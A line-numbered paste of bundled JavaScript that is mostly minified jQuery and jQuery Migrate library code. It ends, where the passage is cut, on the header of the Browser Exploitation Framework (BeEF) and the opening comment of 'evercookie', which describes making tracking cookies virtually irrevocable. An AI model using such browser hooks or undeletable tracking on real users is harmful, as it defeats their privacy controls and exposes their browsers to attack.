b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),n.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){n.propFix[this.toLowerCase()]=this}),l.enctype||(n.propFix.enctype="encoding");var Bb=/[\t\r\n\f]/g;function Cb(a){return n.attr(a,"class")||""}n.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).addClass(a.call(this,b,Cb(this)))});if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(n.isFunction(a))return this.each(function(b){n(this).removeClass(a.call(this,b,Cb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(G)||[];while(c=this[i++])if(e=Cb(c),d=1===c.nodeType&&(" "+e+" ").replace(Bb," ")){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=n.trim(d),e!==h&&n.attr(c,"class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):n.isFunction(a)?this.each(function(c){n(this).toggleClass(a.call(this,c,Cb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=n(this),f=a.match(G)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=Cb(this),b&&n._data(this,"__className__",b),n.attr(this,"class",b||a===!1?"":n._data(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+Cb(c)+" ").replace(Bb," ").indexOf(b)>-1)return!0;return!1}}),n.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){n.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),n.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var Db=a.location,Eb=n.now(),Fb=/\?/,Gb=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;n.parseJSON=function(b){if(a.JSON&&a.JSON.parse)return a.JSON.parse(b+"");var c,d=null,e=n.trim(b+"");return e&&!n.trim(e.replace(Gb,function(a,b,e,f){return c&&b&&(d=0),0===d?a:(c=e||b,d+=!f-!e,"")}))?Function("return "+e)():n.error("Invalid JSON: "+b)},n.parseXML=function(b){var c,d;if(!b||"string"!=typeof b)return null;try{a.DOMParser?(d=new a.DOMParser,c=d.parseFromString(b,"text/xml")):(c=new a.ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b))}catch(e){c=void 0}return c&&c.documentElement&&!c.getElementsByTagName("parsererror").length||n.error("Invalid XML: "+b),c};var Hb=/#.*$/,Ib=/([?&])_=[^&]*/,Jb=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Kb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Lb=/^(?:GET|HEAD)$/,Mb=/^\/\//,Nb=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Ob={},Pb={},Qb="*/".concat("*"),Rb=Db.href,Sb=Nb.exec(Rb.toLowerCase())||[];function Tb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(G)||[];if(n.isFunction(c))while(d=f[e++])"+"===d.charAt(0)?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Ub(a,b,c,d){var e={},f=a===Pb;function g(h){var i;return e[h]=!0,n.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Vb(a,b){var c,d,e=n.ajaxSettings.flatOptions||{};for(d in b)void 0!==b[d]&&((e[d]?a:c||(c={}))[d]=b[d]);return c&&n.extend(!0,a,c),a}function Wb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===e&&(e=a.mimeType||b.getResponseHeader("Content-Type"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]||a.converters[g+" "+i[0]]){f=g;break}d||(d=g)}f=f||d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Xb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}n.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Rb,type:"GET",isLocal:Kb.test(Sb[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Qb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":n.parseJSON,"text xml":n.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Vb(Vb(a,n.ajaxSettings),b):Vb(n.ajaxSettings,a)},ajaxPrefilter:Tb(Ob),ajaxTransport:Tb(Pb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var d,e,f,g,h,i,j,k,l=n.ajaxSetup({},c),m=l.context||l,o=l.context&&(m.nodeType||m.jquery)?n(m):n.event,p=n.Deferred(),q=n.Callbacks("once memory"),r=l.statusCode||{},s={},t={},u=0,v="canceled",w={readyState:0,getResponseHeader:function(a){var b;if(2===u){if(!k){k={};while(b=Jb.exec(g))k[b[1].toLowerCase()]=b[2]}b=k[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===u?g:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return u||(a=t[c]=t[c]||a,s[a]=b),this},overrideMimeType:function(a){return u||(l.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>u)for(b in a)r[b]=[r[b],a[b]];else w.always(a[w.status]);return this},abort:function(a){var b=a||v;return j&&j.abort(b),y(0,b),this}};if(p.promise(w).complete=q.add,w.success=w.done,w.error=w.fail,l.url=((b||l.url||Rb)+"").replace(Hb,"").replace(Mb,Sb[1]+"//"),l.type=c.method||c.type||l.method||l.type,l.dataTypes=n.trim(l.dataType||"*").toLowerCase().match(G)||[""],null==l.crossDomain&&(d=Nb.exec(l.url.toLowerCase()),l.crossDomain=!(!d||d[1]===Sb[1]&&d[2]===Sb[2]&&(d[3]||("http:"===d[1]?"80":"443"))===(Sb[3]||("http:"===Sb[1]?"80":"443")))),l.data&&l.processData&&"string"!=typeof l.data&&(l.data=n.param(l.data,l.traditional)),Ub(Ob,l,c,w),2===u)return w;i=n.event&&l.global,i&&0===n.active++&&n.event.trigger("ajaxStart"),l.type=l.type.toUpperCase(),l.hasContent=!Lb.test(l.type),f=l.url,l.hasContent||(l.data&&(f=l.url+=(Fb.test(f)?"&":"?")+l.data,delete l.data),l.cache===!1&&(l.url=Ib.test(f)?f.replace(Ib,"$1_="+Eb++):f+(Fb.test(f)?"&":"?")+"_="+Eb++)),l.ifModified&&(n.lastModified[f]&&w.setRequestHeader("If-Modified-Since",n.lastModified[f]),n.etag[f]&&w.setRequestHeader("If-None-Match",n.etag[f])),(l.data&&l.hasContent&&l.contentType!==!1||c.contentType)&&w.setRequestHeader("Content-Type",l.contentType),w.setRequestHeader("Accept",l.dataTypes[0]&&l.accepts[l.dataTypes[0]]?l.accepts[l.dataTypes[0]]+("*"!==l.dataTypes[0]?", "+Qb+"; q=0.01":""):l.accepts["*"]);for(e in l.headers)w.setRequestHeader(e,l.headers[e]);if(l.beforeSend&&(l.beforeSend.call(m,w,l)===!1||2===u))return w.abort();v="abort";for(e in{success:1,error:1,complete:1})w[e](l[e]);if(j=Ub(Pb,l,c,w)){if(w.readyState=1,i&&o.trigger("ajaxSend",[w,l]),2===u)return w;l.async&&l.timeout>0&&(h=a.setTimeout(function(){w.abort("timeout")},l.timeout));try{u=1,j.send(s,y)}catch(x){if(!(2>u))throw x;y(-1,x)}}else y(-1,"No Transport");function y(b,c,d,e){var k,s,t,v,x,y=c;2!==u&&(u=2,h&&a.clearTimeout(h),j=void 0,g=e||"",w.readyState=b>0?4:0,k=b>=200&&300>b||304===b,d&&(v=Wb(l,w,d)),v=Xb(l,v,w,k),k?(l.ifModified&&(x=w.getResponseHeader("Last-Modified"),x&&(n.lastModified[f]=x),x=w.getResponseHeader("etag"),x&&(n.etag[f]=x)),204===b||"HEAD"===l.type?y="nocontent":304===b?y="notmodified":(y=v.state,s=v.data,t=v.error,k=!t)):(t=y,!b&&y||(y="error",0>b&&(b=0))),w.status=b,w.statusText=(c||y)+"",k?p.resolveWith(m,[s,y,w]):p.rejectWith(m,[w,y,t]),w.statusCode(r),r=void 0,i&&o.trigger(k?"ajaxSuccess":"ajaxError",[w,l,k?s:t]),q.fireWith(m,[w,y]),i&&(o.trigger("ajaxComplete",[w,l]),--n.active||n.event.trigger("ajaxStop")))}return w},getJSON:function(a,b,c){return n.get(a,b,c,"json")},getScript:function(a,b){return n.get(a,void 0,b,"script")}}),n.each(["get","post"],function(a,b){n[b]=function(a,c,d,e){return n.isFunction(c)&&(e=e||d,d=c,c=void 0),n.ajax(n.extend({url:a,type:b,dataType:e,data:c,success:d},n.isPlainObject(a)&&a))}}),n._evalUrl=function(a){return n.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},n.fn.extend({wrapAll:function(a){if(n.isFunction(a))return this.each(function(b){n(this).wrapAll(a.call(this,b))});if(this[0]){var b=n(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&1===a.firstChild.nodeType)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return n.isFunction(a)?this.each(function(b){n(this).wrapInner(a.call(this,b))}):this.each(function(){var b=n(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=n.isFunction(a);return this.each(function(c){n(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){n.nodeName(this,"body")||n(this).replaceWith(this.childNodes)}).end()}});function Yb(a){return a.style&&a.style.display||n.css(a,"display")}function Zb(a){if(!n.contains(a.ownerDocument||d,a))return!0;while(a&&1===a.nodeType){if("none"===Yb(a)||"hidden"===a.type)return!0;a=a.parentNode}return!1}n.expr.filters.hidden=function(a){return l.reliableHiddenOffsets()?a.offsetWidth<=0&&a.offsetHeight<=0&&!a.getClientRects().length:Zb(a)},n.expr.filters.visible=function(a){return!n.expr.filters.hidden(a)};var $b=/%20/g,_b=/\[\]$/,ac=/\r?\n/g,bc=/^(?:submit|button|image|reset|file)$/i,cc=/^(?:input|select|textarea|keygen)/i;function dc(a,b,c,d){var e;if(n.isArray(b))n.each(b,function(b,e){c||_b.test(a)?d(a,e):dc(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==n.type(b))d(a,b);else for(e in b)dc(a+"["+e+"]",b[e],c,d)}n.param=function(a,b){var c,d=[],e=function(a,b){b=n.isFunction(b)?b():null==b?"":b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};if(void 0===b&&(b=n.ajaxSettings&&n.ajaxSettings.traditional),n.isArray(a)||a.jquery&&!n.isPlainObject(a))n.each(a,function(){e(this.name,this.value)});else for(c in a)dc(c,a[c],b,e);return d.join("&").replace($b,"+")},n.fn.extend({serialize:function(){return n.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=n.prop(this,"elements");return a?n.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!n(this).is(":disabled")&&cc.test(this.nodeName)&&!bc.test(a)&&(this.checked||!Z.test(a))}).map(function(a,b){var c=n(this).val();return null==c?null:n.isArray(c)?n.map(c,function(a){return{name:b.name,value:a.replace(ac,"\r\n")}}):{name:b.name,value:c.replace(ac,"\r\n")}}).get()}}),n.ajaxSettings.xhr=void 0!==a.ActiveXObject?function(){return this.isLocal?ic():d.documentMode>8?hc():/^(get|post|head|put|delete|options)$/i.test(this.type)&&hc()||ic()}:hc;var ec=0,fc={},gc=n.ajaxSettings.xhr();a.attachEvent&&a.attachEvent("onunload",function(){for(var a in fc)fc[a](void 0,!0)}),l.cors=!!gc&&"withCredentials"in gc,gc=l.ajax=!!gc,gc&&n.ajaxTransport(function(b){if(!b.crossDomain||l.cors){var c;return{send:function(d,e){var f,g=b.xhr(),h=++ec;if(g.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(f in b.xhrFields)g[f]=b.xhrFields[f];b.mimeType&&g.overrideMimeType&&g.overrideMimeType(b.mimeType),b.crossDomain||d["X-Requested-With"]||(d["X-Requested-With"]="XMLHttpRequest");for(f in d)void 0!==d[f]&&g.setRequestHeader(f,d[f]+"");g.send(b.hasContent&&b.data||null),c=function(a,d){var f,i,j;if(c&&(d||4===g.readyState))if(delete fc[h],c=void 0,g.onreadystatechange=n.noop,d)4!==g.readyState&&g.abort();else{j={},f=g.status,"string"==typeof g.responseText&&(j.text=g.responseText);try{i=g.statusText}catch(k){i=""}f||!b.isLocal||b.crossDomain?1223===f&&(f=204):f=j.text?200:404}j&&e(f,i,j,g.getAllResponseHeaders())},b.async?4===g.readyState?a.setTimeout(c):g.onreadystatechange=fc[h]=c:c()},abort:function(){c&&c(void 0,!0)}}}});function hc(){try{return new a.XMLHttpRequest}catch(b){}}function ic(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}n.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return n.globalEval(a),a}}}),n.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),n.ajaxTransport("script",function(a){if(a.crossDomain){var b,c=d.head||n("head")[0]||d.documentElement;return{send:function(e,f){b=d.createElement("script"),b.async=!0,a.scriptCharset&&(b.charset=a.scriptCharset),b.src=a.url,b.onload=b.onreadystatechange=function(a,c){(c||!b.readyState||/loaded|complete/.test(b.readyState))&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChild(b),b=null,c||f(200,"success"))},c.insertBefore(b,c.firstChild)},abort:function(){b&&b.onload(void 0,!0)}}}});var jc=[],kc=/(=)\?(?=&|$)|\?\?/;n.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=jc.pop()||n.expando+"_"+Eb++;return this[a]=!0,a}}),n.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(kc.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&kc.test(b.data)&&"data");return h||"jsonp"===b.dataTypes[0]?(e=b.jsonpCallback=n.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(kc,"$1"+e):b.jsonp!==!1&&(b.url+=(Fb.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||n.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){void 0===f?n(a).removeProp(e):a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,jc.push(e)),g&&n.isFunction(f)&&f(g[0]),g=f=void 0}),"script"):void 0}),n.parseHTML=function(a,b,c){if(!a||"string"!=typeof a)return null;"boolean"==typeof b&&(c=b,b=!1),b=b||d;var e=x.exec(a),f=!c&&[];return e?[b.createElement(e[1])]:(e=ja([a],b,f),f&&f.length&&n(f).remove(),n.merge([],e.childNodes))};var lc=n.fn.load;n.fn.load=function(a,b,c){if("string"!=typeof a&&lc)return lc.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(" ");return h>-1&&(d=n.trim(a.slice(h,a.length)),a=a.slice(0,h)),n.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(e="POST"),g.length>0&&n.ajax({url:a,type:e||"GET",dataType:"html",data:b}).done(function(a){f=arguments,g.html(d?n("<div>").append(n.parseHTML(a)).find(d):a)}).always(c&&function(a,b){g.each(function(){c.apply(this,f||[a.responseText,b,a])})}),this},n.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){n.fn[b]=function(a){return this.on(b,a)}}),n.expr.filters.animated=function(a){return n.grep(n.timers,function(b){return a===b.elem}).length};function mc(a){return n.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}n.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=n.css(a,"position"),l=n(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=n.css(a,"top"),i=n.css(a,"left"),j=("absolute"===k||"fixed"===k)&&n.inArray("auto",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),n.isFunction(b)&&(b=b.call(a,c,n.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},n.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){n.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,n.contains(b,e)?("undefined"!=typeof e.getBoundingClientRect&&(d=e.getBoundingClientRect()),c=mc(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return"fixed"===n.css(d,"position")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),n.nodeName(a[0],"html")||(c=a.offset()),c.top+=n.css(a[0],"borderTopWidth",!0),c.left+=n.css(a[0],"borderLeftWidth",!0)),{top:b.top-c.top-n.css(d,"marginTop",!0),left:b.left-c.left-n.css(d,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&!n.nodeName(a,"html")&&"static"===n.css(a,"position"))a=a.offsetParent;return a||Qa})}}),n.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c=/Y/.test(b);n.fn[a]=function(d){return Y(this,function(a,d,e){var f=mc(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?n(f).scrollLeft():e,c?e:n(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),n.each(["top","left"],function(a,b){n.cssHooks[b]=Ua(l.pixelPosition,function(a,c){return c?(c=Sa(a,b),Oa.test(c)?n(a).position()[b]+"px":c):void 0})}),n.each({Height:"height",Width:"width"},function(a,b){n.each({
  5. padding:"inner"+a,content:b,"":"outer"+a},function(c,d){n.fn[d]=function(d,e){var f=arguments.length&&(c||"boolean"!=typeof d),g=c||(d===!0||e===!0?"margin":"border");return Y(this,function(b,c,d){var e;return n.isWindow(b)?b.document.documentElement["client"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?n.css(b,c,g):n.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),n.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),n.fn.size=function(){return this.length},n.fn.andSelf=n.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return n});var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});
  6.  
  7.  
  8. /*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */
  9. jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(){return null},c=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},l=/^(?:input|button)$/i,d=/^[238]$/,p=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,f=/^(?:checked|selected)$/i;a(e,"attrFn",o||{},"jQuery.attrFn is deprecated"),e.attr=function(t,a,i,u){var c=a.toLowerCase(),g=t&&t.nodeType;return u&&(4>s.length&&r("jQuery.fn.attr( props, pass ) is deprecated"),t&&!d.test(g)&&(o?a in o:e.isFunction(e.fn[a])))?e(t)[a](i):("type"===a&&i!==n&&l.test(t.nodeName)&&t.parentNode&&r("Can't change the 'type' of an input or button in IE 6/7/8"),!e.attrHooks[c]&&p.test(c)&&(e.attrHooks[c]={get:function(t,r){var a,i=e.prop(t,r);return i===!0||"boolean"!=typeof i&&(a=t.getAttributeNode(r))&&a.nodeValue!==!1?r.toLowerCase():n},set:function(t,n,r){var a;return n===!1?e.removeAttr(t,r):(a=e.propFix[r]||r,a in t&&(t[a]=!0),t.setAttribute(r,r.toLowerCase())),r}},f.test(c)&&r("jQuery.fn.attr('"+c+"') may use property instead of attribute")),s.call(e,t,a,i))},e.attrHooks.value={get:function(e,t){var n=(e.nodeName||"").toLowerCase();return"button"===n?u.apply(this,arguments):("input"!==n&&"option"!==n&&r("jQuery.fn.attr('value') no longer gets properties"),t in e?e.value:null)},set:function(e,t){var a=(e.nodeName||"").toLowerCase();return"button"===a?c.apply(this,arguments):("input"!==a&&"option"!==a&&r("jQuery.fn.attr('value', val) no longer sets properties"),e.value=t,n)}};var g,h,v=e.fn.init,m=e.parseJSON,y=/^([^<]*)(<[\w\W]+>)([^>]*)$/;e.fn.init=function(t,n,a){var i;return t&&"string"==typeof t&&!e.isPlainObject(n)&&(i=y.exec(e.trim(t)))&&i[0]&&("<"!==t.charAt(0)&&r("$(html) HTML strings must start with '<' character"),i[3]&&r("$(html) HTML text after last tag is ignored"),"#"===i[0].charAt(0)&&(r("HTML string cannot start with a '#' character"),e.error("JQMIGRATE: Invalid selector string (XSS)")),n&&n.context&&(n=n.context),e.parseHTML)?v.call(this,e.parseHTML(i[2],n,!0),n,a):v.apply(this,arguments)},e.fn.init.prototype=e.fn,e.parseJSON=function(e){return e||null===e?m.apply(this,arguments):(r("jQuery.parseJSON requires a valid JSON string"),null)},e.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||0>e.indexOf("compatible")&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e.browser||(g=e.uaMatch(navigator.userAgent),h={},g.browser&&(h[g.browser]=!0,h.version=g.version),h.chrome?h.webkit=!0:h.webkit&&(h.safari=!0),e.browser=h),a(e,"browser",e.browser,"jQuery.browser is deprecated"),e.sub=function(){function t(e,n){return new t.fn.init(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,a){return a&&a instanceof e&&!(a instanceof t)&&(a=t(a)),e.fn.init.call(this,r,a,n)},t.fn.init.prototype=t.fn;var n=t(document);return r("jQuery.sub() is deprecated"),t},e.ajaxSetup({converters:{"text json":e.parseJSON}});var b=e.fn.data;e.fn.data=function(t){var a,i,o=this[0];return!o||"events"!==t||1!==arguments.length||(a=e.data(o,t),i=e._data(o,t),a!==n&&a!==i||i===n)?b.apply(this,arguments):(r("Use of jQuery.fn.data('events') is deprecated"),i)};var j=/\/(java|ecma)script/i,w=e.fn.andSelf||e.fn.addBack;e.fn.andSelf=function(){return r("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()"),w.apply(this,arguments)},e.clean||(e.clean=function(t,a,i,o){a=a||document,a=!a.nodeType&&a[0]||a,a=a.ownerDocument||a,r("jQuery.clean() is deprecated");var s,u,c,l,d=[];if(e.merge(d,e.buildFragment(t,a).childNodes),i)for(c=function(e){return!e.type||j.test(e.type)?o?o.push(e.parentNode?e.parentNode.removeChild(e):e):i.appendChild(e):n},s=0;null!=(u=d[s]);s++)e.nodeName(u,"script")&&c(u)||(i.appendChild(u),u.getElementsByTagName!==n&&(l=e.grep(e.merge([],u.getElementsByTagName("script")),c),d.splice.apply(d,[s+1,0].concat(l)),s+=l.length));return d});var Q=e.event.add,x=e.event.remove,k=e.event.trigger,N=e.fn.toggle,T=e.fn.live,M=e.fn.die,S="ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",C=RegExp("\\b(?:"+S+")\\b"),H=/(?:^|\s)hover(\.\S+|)\b/,A=function(t){return"string"!=typeof t||e.event.special.hover?t:(H.test(t)&&r("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'"),t&&t.replace(H,"mouseenter$1 mouseleave$1"))};e.event.props&&"attrChange"!==e.event.props[0]&&e.event.props.unshift("attrChange","attrName","relatedNode","srcElement"),e.event.dispatch&&a(e.event,"handle",e.event.dispatch,"jQuery.event.handle is undocumented and deprecated"),e.event.add=function(e,t,n,a,i){e!==document&&C.test(t)&&r("AJAX events should be attached to document: "+t),Q.call(this,e,A(t||""),n,a,i)},e.event.remove=function(e,t,n,r,a){x.call(this,e,A(t)||"",n,r,a)},e.fn.error=function(){var e=Array.prototype.slice.call(arguments,0);return r("jQuery.fn.error() is deprecated"),e.splice(0,0,"error"),arguments.length?this.bind.apply(this,e):(this.triggerHandler.apply(this,e),this)},e.fn.toggle=function(t,n){if(!e.isFunction(t)||!e.isFunction(n))return N.apply(this,arguments);r("jQuery.fn.toggle(handler, handler...) is deprecated");var a=arguments,i=t.guid||e.guid++,o=0,s=function(n){var r=(e._data(this,"lastToggle"+t.guid)||0)%o;return e._data(this,"lastToggle"+t.guid,r+1),n.preventDefault(),a[r].apply(this,arguments)||!1};for(s.guid=i;a.length>o;)a[o++].guid=i;return this.click(s)},e.fn.live=function(t,n,a){return r("jQuery.fn.live() is deprecated"),T?T.apply(this,arguments):(e(this.context).on(t,this.selector,n,a),this)},e.fn.die=function(t,n){return r("jQuery.fn.die() is deprecated"),M?M.apply(this,arguments):(e(this.context).off(t,this.selector||"**",n),this)},e.event.trigger=function(e,t,n,a){return n||C.test(e)||r("Global events are undocumented and deprecated"),k.call(this,e,t,n||document,a)},e.each(S.split("|"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add(document,n+"."+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!1},teardown:function(){return this!==document&&e.event.remove(document,n+"."+e._data(this,n)),!1}}})}(jQuery,window);
  10.  
  11.  
  12. //
  13. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  14. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  15. // See the file 'doc/COPYING' for copying permission
  16. //
  17.  
  18. /*
  19. * evercookie 0.4 (10/13/2010) -- extremely persistent cookies
  20. *
  21. * by samy kamkar : code@samy.pl : http://samy.pl
  22. *
  23. * this api attempts to produce several types of persistent data
  24. * to essentially make a cookie virtually irrevocable from a system
  25. *
  26. * specifically it uses:
